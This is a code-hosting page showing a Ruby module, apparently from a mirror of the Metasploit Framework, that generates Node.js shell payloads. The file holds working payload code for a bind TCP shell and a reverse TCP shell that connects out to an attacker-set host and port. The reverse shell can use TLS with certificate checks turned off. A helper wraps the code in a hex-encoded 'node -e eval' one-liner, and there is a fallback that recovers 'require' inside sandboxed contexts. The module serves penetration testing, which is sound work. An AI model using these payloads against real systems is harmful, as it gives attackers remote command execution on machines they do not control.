PageRenderTime 40ms CodeModel.GetById 10ms RepoModel.GetById 1ms app.codeStats 0ms

/lib/msf/core/payload/nodejs.rb

https://gitlab.com/alx741/metasploit-framework
Ruby | 70 lines | 61 code | 3 blank | 6 comment | 4 complexity | 97e8943508414fe69f4841b435fc9e27 MD5 | raw file
  1. # -*- coding: binary -*-
  2. require 'msf/core'
  3. module Msf::Payload::NodeJS
  4. # Outputs a javascript snippet that spawns a bind TCP shell
  5. # @return [String] javascript code that executes bind TCP payload
  6. def nodejs_bind_tcp
  7. cmd = <<-EOS
  8. (function(){
  9. var require = global.require || global.process.mainModule.constructor._load;
  10. if (!require) return;
  11. var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh";
  12. var net = require("net"),
  13. cp = require("child_process"),
  14. util = require("util");
  15. var server = net.createServer(function(socket) {
  16. var sh = cp.spawn(cmd, []);
  17. socket.pipe(sh.stdin);
  18. util.pump(sh.stdout, socket);
  19. util.pump(sh.stderr, socket);
  20. });
  21. server.listen(#{datastore['LPORT']});
  22. })();
  23. EOS
  24. cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')
  25. end
  26. # Outputs a javascript snippet that spawns a reverse TCP shell
  27. # @param [Hash] opts the options to create the reverse TCP payload with
  28. # @option opts [Boolean] :use_ssl use SSL when communicating with the shell. defaults to false.
  29. # @return [String] javascript code that executes reverse TCP payload
  30. def nodejs_reverse_tcp(opts={})
  31. use_ssl = opts.fetch(:use_ssl, false)
  32. tls_hash = if use_ssl then '{rejectUnauthorized:false}, ' else '' end
  33. net_lib = if use_ssl then 'tls' else 'net' end
  34. lhost = Rex::Socket.is_ipv6?(lhost) ? "[#{datastore['LHOST']}]" : datastore['LHOST']
  35. # the global.process.mainModule.constructor._load fallback for require() is
  36. # handy when the payload is eval()'d into a sandboxed context: the reference
  37. # to 'require' is missing, but can be looked up from the 'global' object.
  38. #
  39. # however, this fallback might break in later versions of nodejs.
  40. cmd = <<-EOS
  41. (function(){
  42. var require = global.require || global.process.mainModule.constructor._load;
  43. if (!require) return;
  44. var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh";
  45. var net = require("#{net_lib}"),
  46. cp = require("child_process"),
  47. util = require("util"),
  48. sh = cp.spawn(cmd, []);
  49. var client = this;
  50. client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
  51. client.socket.pipe(sh.stdin);
  52. util.pump(sh.stdout, client.socket);
  53. util.pump(sh.stderr, client.socket);
  54. });
  55. })();
  56. EOS
  57. cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')
  58. end
  59. # Wraps the javascript code param in a "node" command invocation
  60. # @param [String] code the javascript code to run
  61. # @return [String] a command that invokes "node" and passes the code
  62. def nodejs_cmd(code)
  63. "node -e 'eval(\"#{Rex::Text.to_hex(code, "\\x")}\");'"
  64. end
  65. end